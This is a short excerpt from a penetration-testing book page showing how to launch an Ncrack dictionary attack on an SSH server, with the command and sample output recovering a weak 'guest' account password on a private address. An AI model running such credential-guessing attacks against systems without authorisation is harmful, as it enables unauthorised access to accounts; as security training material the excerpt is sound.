May 2017
Intermediate to advanced
416 pages
21h 33m
English
To start a basic dictionary attack against a SSH server, use the following command:
$ncrack ssh://<target>:<port>
Ncrack will use the default settings to attack the SSH server running on the specified IP address and port. This might take some time depending on the network conditions:
Starting Ncrack 0.5 ( http://ncrack.org ) at 2016-04-03 21:10 EEST Discovered credentials for ssh on 192.168.1.2 22/tcp: 192.168.1.2 22/tcp ssh: guest 12345 Ncrack done: 1 service scanned in 56 seconds. Ncrack finished.
In this case, we have successfully found the credentials of the account guest. Someone should have known better that 12345 is not a good password.
Read now
Unlock full access